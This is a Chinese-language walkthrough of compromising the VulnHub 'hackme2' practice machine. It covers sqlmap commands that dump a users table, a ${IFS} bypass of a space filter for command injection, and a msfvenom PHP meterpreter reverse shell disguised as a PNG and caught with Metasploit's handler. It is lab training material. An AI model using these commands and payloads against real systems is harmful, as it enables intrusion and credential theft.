Hackme2靶机
目的:拿到root权限
下载地址:https://www.vulnhub.com/entry/hackme-2,618/
选择第二个mirror
Vm打开,网络模式我选择的是nat
开整
Kali ip地址:192.168.192.129
Nmap扫描:
1,2,254地址为网卡地址
192.168.192.130即为靶机地址
扫描端口
Dirb扫描目录
发现uploads目录,目测可能有文件上传漏洞
尝试弱密码登陆,失败了
先注册admin登陆一下
登陆后search一下
测试一下是否有sql注入点
判断具有sql注入,而且根据头部判断还是post注入
可以手工注入,也可以sqlmap,这里使用sqlmap
先抓包
保存成txt文本
Sqlmap
sqlmap -r /home/kali/Desktop/bp.txt -p search --dbs
-r:指定文件
-p:指定参数
--dbs:数据库
爆表(webapphacking)
sqlmap -r /home/kali/Desktop/bp.txt -p search -D webapphacking –tables
爆字段
sqlmap -r /home/kali/Desktop/bp.txt -p search -D webapphacking -T users –columns
爆密码
sqlmap -r /home/kali/Desktop/bp.txt -p search -D webapphacking -T users -C name,pasword –dump
这个superadmin 的密码才是我想要的
Superadmin登陆,发现有上传点
且只能上传图片,上传图片码抓包改后缀也失败了
而且uploads目录无法访问,路径有变化
只能看另一个下面的框框
发现具有命令执行漏洞
查看/etc/passwd文件,发现空格过滤
采用${IFS}代替空格绕过
Linux 下的变量$IFS。
Shell 的环境变量分为 set, env 两种,其中 set 变量可以通过 export 工具导入到 env 变量中。其中,set 是显示设置 shell 变量,仅在本 shell 中有效;env 是显示设置用户环境变量 ,仅在当前会话中有效。换句话说,set 变量里包含了 env 变量,但 set 变量不一定都是 env变量。这两种变量不同之处在于变量的作用域不同。显然,env 变量的作用域要大些,它可以在 subshell 中使用。
而 IFS 是一种 set 变量,当 shell 处理"命令替换"和"参数替换"时,shell 根据 IFS 的值,默认是 space, tab, newline 来拆解读入的变量,然后对特殊字符进行处理,最后重新组合赋值给该变量。
查看welcomeadmin.php源码,发现真正上传点/uploads/year2020/
所以思路是文件上传反弹shellphp的png格式,再利用命令执行漏洞将png改回php
开整
利用msfvenom平台生成木马
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.192.129 lport=7777 R > shell3.php
(防止没有权限执行)
chmod 777 shell3.php
上传png格式
查看是否修改成功
kali开启msfconsole平台
1 使用handler监听模块
msf > use exploit/multi/handler
2 设置payload
msf exploit(multi/handler) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD =>php/meterpreter/reverse_tcp
3 设置监听主机
msfexploit(multi/handler) > set LHOST 192.168.192.129
LHOST =>192.168.192.129
4 设置监听端口(默认4444)
msfexploit(multi/handler) > set LPORT 7777
LPORT => 7777
5 发动攻击
msfexploit(multi/handler) > exploit
注:再exploit之前要远程访问你上传的后门文件 ,并监听
攻击前监听端口
执行该文件
Exploit攻击
反弹成功
后面步骤与hackme1一样